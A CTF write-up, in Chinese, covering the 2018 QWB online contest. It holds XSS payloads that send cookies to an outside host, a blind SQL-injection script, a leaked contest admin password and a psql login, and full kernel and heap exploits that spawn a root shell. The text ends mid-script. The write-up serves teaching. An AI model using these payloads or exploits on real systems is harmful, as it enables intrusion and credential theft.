强网杯 2018 线上赛 CNSS Writeup
Misc
Welcome
丢进 stegsolve,选择隐写分析,讲图片分成两份,其中一份右移 100 像素可以看到 flag
QWB{W3lc0me}
Crypto
streamgame1
因为给出了 key,而明文空间较小,所以写脚本爆破 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b1111111111111111111
mask = 0b1010011000100011100
key = [0x55,0x38,0xF7,0x42,0xC1,0x0D,0xB2,0xC7,0xED,0xE0,0x24,0x3A]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flag
flag{1110101100001101011}
streamgame2
flag 长了一点但是可以接受,还是爆破 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
else:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b111111111111111111111
mask = 0x100002
key = [0xB2,0xE9,0x0E,0x13,0xA0,0x6A,0x1B,0xFC,0x40,0xE6,0x7D,0x53]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flag
flag{110111100101001101001}
streamgame3
查了资料像是一个魔改的 A5
算法,single_round
中有一个逻辑表达式(x1*x2)^((x2^1)*x3)
,真值表如下:
x1 | x2 | x3 | v |
---|---|---|---|
0 | 0 | 0 | 0 |
0 | 0 | 1 | 1 |
0 | 1 | 0 | 0 |
0 | 1 | 1 | 0 |
1 | 0 | 0 | 0 |
1 | 0 | 1 | 1 |
1 | 1 | 0 | 1 |
1 | 1 | 1 | 1 |
经观察,x1 == x3 的时候,v = x1 = x3。R1,R2,R3 相互独立,三个 mask 参数为常数值。又因为有两个 assert 限制了 R1 和 R3 的长度分别为 4 和 5 位十六进制位,故先尝试爆破 R1 和 R3。脚本代码如下:
1 | def read2bin(s): |
其中优化了一部分 lfsr 的运算,去掉了 R2
的部分,又加了多线程还是跑了很久,终于得到了 flag 的 R1 和 R3
部分:flag{01b9cb******16b2f3}
然后爆破中间五位,核心代码如下:
1 | def work(flag, flagR2, std): |
得到 flag: flag{01b9cb05979c16b2f3}
streamgame4
还是直接爆破,这里的 key 验证前 12 字节足矣 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32def nlfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
else:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b111111111111111111111
mask = 0b110110011011001101110
key = [0xd1, 0xd9, 0x40, 0x43, 0x93, 0x53, 0x1e, 0x5e, 0x4d, 0xc7, 0xd0, 0xca]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=nlfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flagflag{100100111010101101011}
nextrsa
Level 1
n 很小,可以直接分解
Level 2
n, e 非常大,猜测是低解密指数攻击(d 很小),用 Wiener attack(https://github.com/pablocelayes/rsa-wiener-attack)
Level 3
e = 3, M = m + x, m 和 c 已知,x 为 64bit 内的小整数。
因为已经知道了 M 的高位,所以直接 Coppersmith method 攻击。核心代码:
1 | ZmodN = Zmod(N) |
Level 4
已知 n=p×q,z=nextprime(p)×nextprime(q)
枚举 \(\Delta p\), \(\Delta q\), 则有方程
\(pq=n\)
\((p+\Delta p)(q+\Delta q)=z\)
可以化简得一个关于 p(或 q)的一元二次方程
\(\Delta p \cdot q^2+(n+\Delta p\cdot \Delta q-z)q+\Delta q\cdot n=0\)
然后验证\(\Delta=b^2-4ac\)能否开根,以及验证两个方程解是否为正整数就行了。根据素数密度\(\pi(n) \sim n \ln n\),\(\Delta\) 不会太大,最终解出来也就 1000 多。核心代码:
1 | def work(i, j): |
Level 5
n 含有小因子,直接 yafu 暴力分解
Level 6
\(m^3 = c + kn\)。爆破 k 尝试开三次根,最终的 k 大概 70000+。核心代码:
1 | while True: |
Level 7
n1, n2 含有公因子,所以直接 gcd(n1, n2) 得到公共因子
Level 8
共模攻击,扩展欧几里得解 \(xe_1+ye_2=1\),然后就有\(c1^xc2^y\equiv m^{xe_1+ye_2} \equiv m\),所以有 m = pow(c1, x, n) * pow(c2, y, n) % n,要注意一下 x, y 的正负号,如果为负数,则对对应的 c 取模 n 意义下的逆元。核心代码:
1 | g, x, y = ex_gcd(e1, e2) |
Level 9
e=3,低指数加密,给了三组样本,所以直接中国剩余定理合并同余式子,最后开三次根就行。核心代码:
1 | def china_remain(eq): |
flag{s1mp13_rs4_f0r_y0u_+_h4pp9_f0r_qwb}
Web
Web签到
两个 php 小技巧和一个 md5 碰撞
第一个利用 0e 开头 md5 值 bypass
第二个用数组 bypass
第三个去找一个真正的 md5 碰撞,python 写脚本发包即可
脚本代码如下:
1 | import requests |
运行脚本得到 flag:
QWB{s1gns1gns1gnaftermd5}
Share your mind
可以看到有一个 js 文件是相对路径导入的
利用 RPO 构造 XSS
写一个 alert(/xss/)
部分字符会被 HTML 编码 用 String.fromCharCode 可以绕过
打一下 admin 的 cookie
1
document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 58, 47, 47, 109, 105, 116, 97, 104, 46, 99, 110, 47, 101, 118, 105, 108, 46, 112, 104, 112, 63, 99, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));
直接把链接 Report 过去就有回显
得到一个 HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
写一个 iframe src 过去读 cookie 就能获得 flag
1
var iframe = document.createElement('iframe'); iframe.src="/QWB_fl4g/QWB/"; document.body.appendChild(iframe); iframe.onload = function(){window.location.href="http://mitah.cn/evil.php?c="+iframe.contentWindow.document.cookie;};
1
document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 118, 97, 114, 32, 105, 102, 114, 97, 109, 101, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 102, 114, 97, 109, 101, 34, 41, 59, 32, 105, 102, 114, 97, 109, 101, 46, 115, 114, 99, 61, 34, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 102, 114, 97, 109, 101, 41, 59, 32, 105, 102, 114, 97, 109, 101, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 58, 47, 47, 109, 105, 116, 97, 104, 46, 99, 110, 47, 101, 118, 105, 108, 46, 112, 104, 112, 63, 99, 61, 34, 43, 105, 102, 114, 97, 109, 101, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 125, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));
QWB{flag_is_f43kth4rpo}
Three hit
二次注入 / 盲注,注入点在 age
注册的时候 age 被 is_numeric 了
可以 hexlify 一下绕过
跑一下脚本即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80import hashlib
import requests
import re
import random
import time
import threading
import binascii
def md5(msg):
return hashlib.md5(msg.encode()).hexdigest()
log = "http://39.107.32.29:10000/index.php?func=login"
reg = "http://39.107.32.29:10000/index.php?func=register"
pro = "http://39.107.32.29:10000/profile.php"
def register():
usr = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 13))
s = requests.session()
s.post(reg, data={'username': usr, 'password': "werewr123", 'age': payload})
return [usr, "werewr123"]
def a(payload):
usr = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 13))
s = requests.session()
## print('[Session start]')
s.post(reg, data={'username': usr, 'password': "werewr123", 'age': payload})
## print("[Registered]")
s.post(log, data={'username': usr, 'password': "werewr123"})
## print("[Log in]")
return s.get(pro).text
def two(ind, cont, pos, result):
print("[pos %d start]" % pos)
payload = "1234567889 and 1=if((ord(substr(({}),{},1)))>{},1,0)"
l = 33
r = 127
while l < r:
mid = (l + r) >> 1
text = a("0x" + str(binascii.hexlify(payload.format(cont, pos, mid).encode()).decode()))
if 'is also in age' in text:
l = mid + 1
else:
r = mid
result[pos] = chr(l)
print("[pos %d end]" % pos)
def sqli(cont):
print("[Start]")
sz = 40
res = [''] * (sz + 1)
t = [None] * sz
for i in range(1, sz + 1):
if i > sz:
t[i % sz].join()
t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
t[i % sz].start()
for th in t:
th.join()
return "".join(res)
## db = sqli("SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata")
## print(db)
## qwb
## table = sqli("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='qwb'")
## print(table)
## flag,users
## col = sqli("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'")
## print(col)
## flag
## res = sqli("select group_concat(flag) from flag")
## print(res)
## QWB{M0b4iDalao0rz0rz}
QWB{M0b4iDalao0rz0rz}
彩蛋
首先 web.xml 找到
http://106.75.97.46:8080/phrackCTF/druid/
并附上登录帐号: admin, 密码: SgK1xfVxTk
登录进去, 发现数据库帐号密码, 远程连接
psql --host=106.75.97.46 --username=postgres --no-password
拿到数据库, udf 提权, 在根目录找到 flag
select sys_eval("cat /flag_is_here");
拿到flag
QWB{jarv1s0j13p5ettyg006}
Python is the best language 1
注册登录进去, input 的框可以注入, 理论上可以脚本跑, 但是平台卡成狗, 就直接手跑了
payload:
1'+ord(substr((select fllllllag from flaaaaaag),1,1))+'1
哪个表哪个列不记得了, flag
QWB{us1ng_val1dator_caut1ous}
PWN
core
开了 kaslr,没开 smep,但是在 /tmp
目录下有个诡异的文件,可以泄露内核函数地址,然后 copy
那里长度为负数会溢出,read 函数会 leak 模块的 canary,所以直接 rop
就行了。 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
unsigned long user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void get_shell()
{
system("/bin/sh");
}
u64 prepare_kernel_cred_addr = 0x0;//0xffffffff8109cce0;
u64 commit_creds_addr = 0x0;//0xffffffff8109c8e0;
void set_uid()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
u64 rop[] = {
// padding
0xdeadbeefdeadbeef, //0
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef, //7
0x0, // canary
0xdeadbeefdeadbeef, //rbp
0x6161616161616161, // 10 ret addr
0x0, // uid ret addr
0x0, // padding
0x0, // leakd addr ? 13
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
int main(int argc,char** argv)
{
sscanf(argv[1],"%llx",&prepare_kernel_cred_addr);
sscanf(argv[2],"%llx",&commit_creds_addr);
char s[100];
char* leak = (char*)malloc(1024);
int fd = open("/proc/core",O_RDWR);
ioctl(fd,COMMAND_PRINT,0x40);
ioctl(fd,COMMAND_READ,leak);
u64 canary = ((u64*)leak)[0];
u64 ret_addr = ((u64*)leak)[2];
//printf("leak ret addr %llu\n",canary);
rop[8] = canary;
rop[10] = &set_uid;
rop[11] = ret_addr - 0xc5;
rop[12] = &s - 0x100;
u64 iret_addr = prepare_kernel_cred_addr - 311838;
save_state();
rop[13] = iret_addr;
rop[14] = &get_shell;
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = &s - 0x100;
rop[18] = user_ss;
write(fd,rop,1024);
ioctl(fd,COMMAND_COPY,0x8000000000000100);
return 0;
}
raisepig
fastbin attack 修改 topchunk,把它改到 free_hook
附近,通过申请内存修改 free_hook getshell 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214#!/usr/bin/env python2
## -*- coding: utf-8 -*- #
from pwn import *
import time
import os
## 调试模式 会使用gdb联调
DEBUG = 0
## 啰嗦模式
VERBOSE = 1
## 0 local 1 remote 2 attack
MODE = 1
## 程序名
PROGRAM_NAME = './raisepig'
## libc
REMOTE_LIBC = True
## 地址
IP = '39.107.32.132'
PORT = 9999
#IP = '127.0.0.1'
#PORT = 17001
## gdb调试配置 根据机器更改
## context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'
## 是否开启 aslr
context.aslr = True
## export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
## LD_PRELOAD
## socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club
## 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0
def set_breakpoint(breakpoint_list, pie=False):
'''生成设置断点的命令'''
ret = ''
offset = 0
if pie is True:
if context.aslr is True:
return ''
if context.arch == 'amd64': ## 64位下gdb关闭aslr后基址为 0x555555554000
offset = 0x555555554000
elif context.arch == 'i386': ## 32位为0x56555000
offset = 0x56555000
for breakpoint in breakpoint_list:
ret += 'b *%d\n' % (breakpoint + offset)
return ret
def raise_pig(program, size, s, pig_type='a!\n'):
program.recvuntil('Your choice : ')
program.sendline('1')
program.recvuntil('Length of the name :')
program.sendline(str(size))
program.recvuntil('The name of pig :')
program.send(s)
program.recvuntil('The type of the pig :')
program.send(pig_type)
def visit_pigs(program):
program.recvuntil('Your choice : ')
program.sendline('2')
def eat_pig(program, idx):
program.recvuntil('Your choice : ')
program.sendline('3')
program.recvuntil('Which pig do you want to eat:')
program.sendline(str(idx))
def get_shell(ip='', port=0):
## 设置断点
breakpoint = set_breakpoint([0x400D8C], pie=False)
breakpoint = ''
gdbscript = breakpoint + 'c\n'
if VERBOSE:
context.log_level = 'debug'
global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
if REMOTE_LIBC:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}
system_offset = 0x45390
_IO_list_all_offset = 0x3c5520
__malloc_hook_offset = 0x3c4b10
__free_hook_offset = 0x3c67a8
one_gadget_offset =0x04523E
libc_ptr_offset = 0x3c4b31
heap_ptr_offset = 0x240
fastbin_0x70_offset = 0x30
main_arena_offset = 0x3c4b20
else:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
env = {}
system_offset = 0x456a0
_IO_list_all_offset = 0x3c2500
__malloc_hook_offset = 0x3c1af0
__free_hook_offset = 0x3c3788
one_gadget_offset = 0x0F24CB
libc_ptr_offset = 0x3c1b31
heap_ptr_offset = 0x240
main_arena_offset = 0x3c1b00
fastbin_0x70_offset = 0x30
if MODE == 0:
if DEBUG:
## debug
program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
## 等待输入后继续运行
raw_input('')
## gdb.attach(program)
else:
## 直接运行程序
program = process((PROGRAM_NAME, ), env=env)
else:
## 远程
program = remote(ip, port)
raise_pig(program, 0x28, '1') ## 0
raise_pig(program, 130, '1') ## 1
raise_pig(program, 1, '1') ## 2
eat_pig(program, 0)
eat_pig(program, 1)
raise_pig(program, 130, '1') ## 3
visit_pigs(program)
program.recvuntil('Name[3] :')
libc_ptr = u64(program.recvuntil('\n')[:-1].ljust(8, '\x00'))
libc_addr = libc_ptr - libc_ptr_offset
log.info('libc_addr=0x%x' % libc_addr)
raise_pig(program, 0x68, '1') ## 4
raise_pig(program, 0x68, '1') ## 5
eat_pig(program, 4)
eat_pig(program, 5)
eat_pig(program, 4)
raise_pig(program, 0x68, p64(0x40)) ## 6
raise_pig(program, 0x68, '1') ## 7
raise_pig(program, 0x68, '1') ## 8
raise_pig(program, 0x100, '/bin/sh\x00') ## 9
raise_pig(program, 0x38, '1') ## 10
raise_pig(program, 0x38, '1') ## 11
eat_pig(program, 10)
eat_pig(program, 11)
eat_pig(program, 10)
raise_pig(program, 0x38, p64(libc_addr + main_arena_offset + fastbin_0x70_offset - 0x8)) ## 12
raise_pig(program, 0x38, '1') ## 13
raise_pig(program, 0x38, '1') ## 14
log.info('0x%x' % (libc_addr + main_arena_offset))
log.info('0x%x' % (libc_addr))
log.info('0x%x' % (main_arena_offset))
raise_pig(program, 0x38, '\x00'*0x20 + p64(libc_addr + __free_hook_offset - 0xb58)) ## 15
size = 0xb58
while size > 0x3b0 + 0x30:
size -= 0x3b0 + 0x30
raise_pig(program, 0x3a8, '1')
log.info(hex(size)) ## size=0x318
raise_pig(program, size-0x30, '\x00'*(size- 0x30 - 0x10) + p64(system_offset + libc_addr)) ## 13
raw_input()
eat_pig(program, 9)
#raise_pig(program, size, '1') ## 15
return program
def main():
if MODE == 0: ## local
program = get_shell()
program.interactive()
elif MODE == 1: ## remote
program = get_shell(ip=IP, port=PORT)
#program = get_shell(ip='127.0.0.1', port=17001)
program.interactive()
elif MODE == 3: ## 取回二进制文件
program = get_shell(ip=IP, port=PORT)
program.recv(timeout=1)
program.sendline('cat pwn2')
program.sendline('exit')
recv_data = program.recvall()
fp = open('dump', 'wb')
fp.write(recv_data)
fp.close()
if __name__ == '__main__':
main()qwbctf{ok_now_you_know_how2_raise_a_pig}
silent
fastbin attack 修改 got 表. 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185#!/usr/bin/env python2
## -*- coding: utf-8 -*- #
from pwn import *
import time
import os
## 调试模式 会使用gdb联调
DEBUG = 0
## 啰嗦模式
VERBOSE = 1
## 0 local 1 remote 2 attack
MODE = 0
## 程序名
PROGRAM_NAME = './silent'
## libc
REMOTE_LIBC = False
## 地址
IP = '39.107.32.132'
PORT = 10000
#IP = '127.0.0.1'
#PORT = 17001
## gdb调试配置 根据机器更改
## context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'
## 是否开启 aslr
context.aslr = True
## export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
## LD_PRELOAD
## socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club
## 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0
def set_breakpoint(breakpoint_list, pie=False):
'''生成设置断点的命令'''
ret = ''
offset = 0
if pie is True:
if context.aslr is True:
return ''
if context.arch == 'amd64': ## 64位下gdb关闭aslr后基址为 0x555555554000
offset = 0x555555554000
elif context.arch == 'i386': ## 32位为0x56555000
offset = 0x56555000
for breakpoint in breakpoint_list:
ret += 'b *%d\n' % (breakpoint + offset)
return ret
def get_chunk(program, size, s):
program.sendline('1')
program.sendline(str(size))
program.sendline(s.ljust(size - 2, 'a'))
def free_chunk(program, idx):
program.sendline('2')
program.sendline(str(idx))
def edit_chunk(program, idx, s, bss_s='/bin/sh\x00'):
program.sendline('3')
program.sendline(str(idx))
program.send(s)
program.sendline(bss_s.ljust(48 - 2, '\x00'))
def get_shell(ip='', port=0):
## 设置断点
breakpoint = set_breakpoint([0x400D8C], pie=False)
breakpoint = ''
gdbscript = breakpoint + 'c\n'
if VERBOSE:
context.log_level = 'debug'
global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
if REMOTE_LIBC:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}
system_offset = 0x45390
_IO_list_all_offset = 0x3c5520
__malloc_hook_offset = 0x3c4b10
__free_hook_offset = 0x3c67a8
one_gadget_offset =0x04523E
libc_ptr_offset = 0x3c4b31
heap_ptr_offset = 0x240
fastbin_0x70_offset = 0x30
main_arena_offset = 0x3c4b20
else:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
env = {}
system_offset = 0x456a0
_IO_list_all_offset = 0x3c2500
__malloc_hook_offset = 0x3c1af0
__free_hook_offset = 0x3c3788
one_gadget_offset = 0x0F24CB
libc_ptr_offset = 0x3c1b31
heap_ptr_offset = 0x240
main_arena_offset = 0x3c1b00
fastbin_0x70_offset = 0x30
if MODE == 0:
if DEBUG:
## debug
program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
## 等待输入后继续运行
raw_input('')
## gdb.attach(program)
else:
## 直接运行程序
program = process((PROGRAM_NAME, ), env=env)
else:
## 远程
program = remote(ip, port)
get_chunk(program, 0x68, 'a') ## 0
get_chunk(program, 0x68, 'a') ## 1
free_chunk(program, 0)
free_chunk(program, 1)
free_chunk(program, 0)
gdb.attach(program)
raw_input()
edit_chunk(program, 0, '\x9d\x20\x60\x00') ## stderr p64(0x6020a0 + 5 - 8) 0x60209d
get_chunk(program, 0x68, 'a') ## 2
get_chunk(program, 0x68, '\x00'*19 + p64(0x602018) + p64(0x0602120) + '\x00'*4*10) ## 4
#gdb.attach(program)
raw_input()
edit_chunk(program, 0, '\x30\x07\x40\x00\x00\x00') ## 0x0400730 system
raw_input()
free_chunk(program, 1)
return program
def main():
if MODE == 0: ## local
program = get_shell()
program.interactive()
elif MODE == 1: ## remote
program = get_shell(ip=IP, port=PORT)
#program = get_shell(ip='127.0.0.1', port=17001)
program.interactive()
elif MODE == 3: ## 取回二进制文件
program = get_shell(ip=IP, port=PORT)
program.recv(timeout=1)
program.sendline('cat pwn2')
program.sendline('exit')
recv_data = program.recvall()
fp = open('dump', 'wb')
fp.write(recv_data)
fp.close()
if __name__ == '__main__':
main()
qwbctf{talk_is_cheap_show_m3_the_code}
silent2
考虑 fake malloc chunk 进行 unlink,修改 got 表 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111#!/usr/bin/env python2
from pwn import *
from ctypes import *
import sys
def pwn():
binary= './silent2'
context.arch = 'amd64'
context.log_level='info'
context.log_level='debug'
elf = ELF(binary)
###########################
try :
libc=ELF('./libc.so')
os.environ['LD_PRELOAD'] = './libc.so'
os.environ['LD_LIBRARY_PATH'] = os.curdir
except:
libcs = [x for x in elf.libs.keys() if 'libc.so' in x]
libc = ELF(libcs[0])
############################
if len(sys.argv) > 2:
HOST = sys.argv[1]
PORT = sys.argv[2]
io = remote(HOST, PORT)
else:
io = process(binary)
############################
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
sleep(1)
return io.sendline(data)
def sn(data):
return io.send(data)
def uint32(x):
return c_uint32(x).value
def sint32(x):
return c_int32(x).value
def info(comment,addr):
print '#### log ####'
log.info(comment+':%#x',addr)
############################
def free(i):
sl('2')
sl(str(i))
def scan(i,s):
sl('3')
sl(str(i))
sl(s)
def malloc(n,s):
sl('1')
sl(str(n))
sl(s)
def fakechunk():
arch_bytes = 8
heap_buff_size = 0x80
#node1_addr = &p0
node1_addr = 0x6020C0+8*3
pack_fun = p64
heap_node_size = heap_buff_size + 2 * arch_bytes #0x90
p0 = pack_fun(0x0)
p1 = pack_fun(heap_buff_size + 0x01)
p2 = pack_fun(node1_addr - 3 * arch_bytes)
p3 = pack_fun(node1_addr - 2 * arch_bytes)
#p[2]=p-3
#p[3]=p-2
#node1_addr = &node1_addr - 3
node2_pre_size = pack_fun(heap_buff_size)
node2_size = pack_fun(heap_node_size)
data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
return data1
malloc(0x80,'x'*0x8)
malloc(0x80,'x'*0x8)
malloc(0x80,'x'*0x8)
malloc(0x80,'0'*0x8)#3
malloc(0x80,'1'*0x8)#4
malloc(0x80,'2'*0x8)
free(3)
free(4)
malloc(0x80+0x10+0x80,fakechunk())#6
free(4)
scan(3,p64(elf.got['free']))
scan(0,p64(elf.plt['system']))
malloc(0x80,'/bin/sh\x00')#7
free(7)
io.interactive()
pwn()qwbctf{sorry_for_all_the_troubles}
Reverse
picturelock
this.enc(v1_1, this.getFilesDir().getAbsolutePath() + v1_1.substring(v1_1.lastIndexOf("/")) + ".lock", this.j()); 第一个参数是图片路径,第二个大概是输出目录,第三个是签名
enc 在 lib 里面
600C 储存签名
sub_1A48 的第一个参数是图片路径,第二个参数是输出路径
Signature HexData :
f8c49056e4ccf9a1 1e090eaf471f418d 找了一下,似乎是个快速 AES
随便写个脚本就行了 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29from Crypto.Cipher import AES
sig = 'f8c49056e4ccf9a11e090eaf471f418d'
f = open('flag.jpg.lock', 'rb')
aes1 = AES.new("f8c49056e4ccf9a1", AES.MODE_ECB)
aes2 = AES.new("1e090eaf471f418d", AES.MODE_ECB)
i = 0
res = ''
while 1:
length = ord(sig[i%32])
t = length % 2
if length < 16:
data = f.read(16)
else:
data = f.read(length)
length = len(data)
if length == 0:
break
if t == 0:
res += aes1.decrypt(data[0:16])
else:
res += aes2.decrypt(data[0:16])
k = 16
for j in data[16:]:
res += chr(ord(j) ^ ord(sig[k%32]))
k += 1
i += 1
f = open('flag.jpg','wb')
f.write(res)
f.close()
simplecheck
程序读入一个字符串,把内存中的一些数据做解密,然后对比。
关键代码:
if((a[i]!=b[i]*ans[i]*ans[i]+c[i]*ans[i]+d[i]) or (a[i+1]!=b[i]*ans[i+1]*ans[i+1]+c[i]*ans[i+1]+d[i]))
根据下个循环,可以得出一个一元二次方程组,来保证唯一解
flag{MAth_i&_GOOd_DON7_90V_7hInK?}
hide
dump 内存,丢 IDA f5
调试 catch ptrace
发现真正的验证函数
解题脚本: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41from pwn import *
def decrypt(data):
delta = 0x676E696C
rounds = 8
key = [1883844979, 1165112144, 2035430262, 861484132]
for i in range(len(key)):
key[i] %= 0x100000000
summ = delta * rounds;
v0 = u32(data[:4])
v1 = u32(data[4:8])
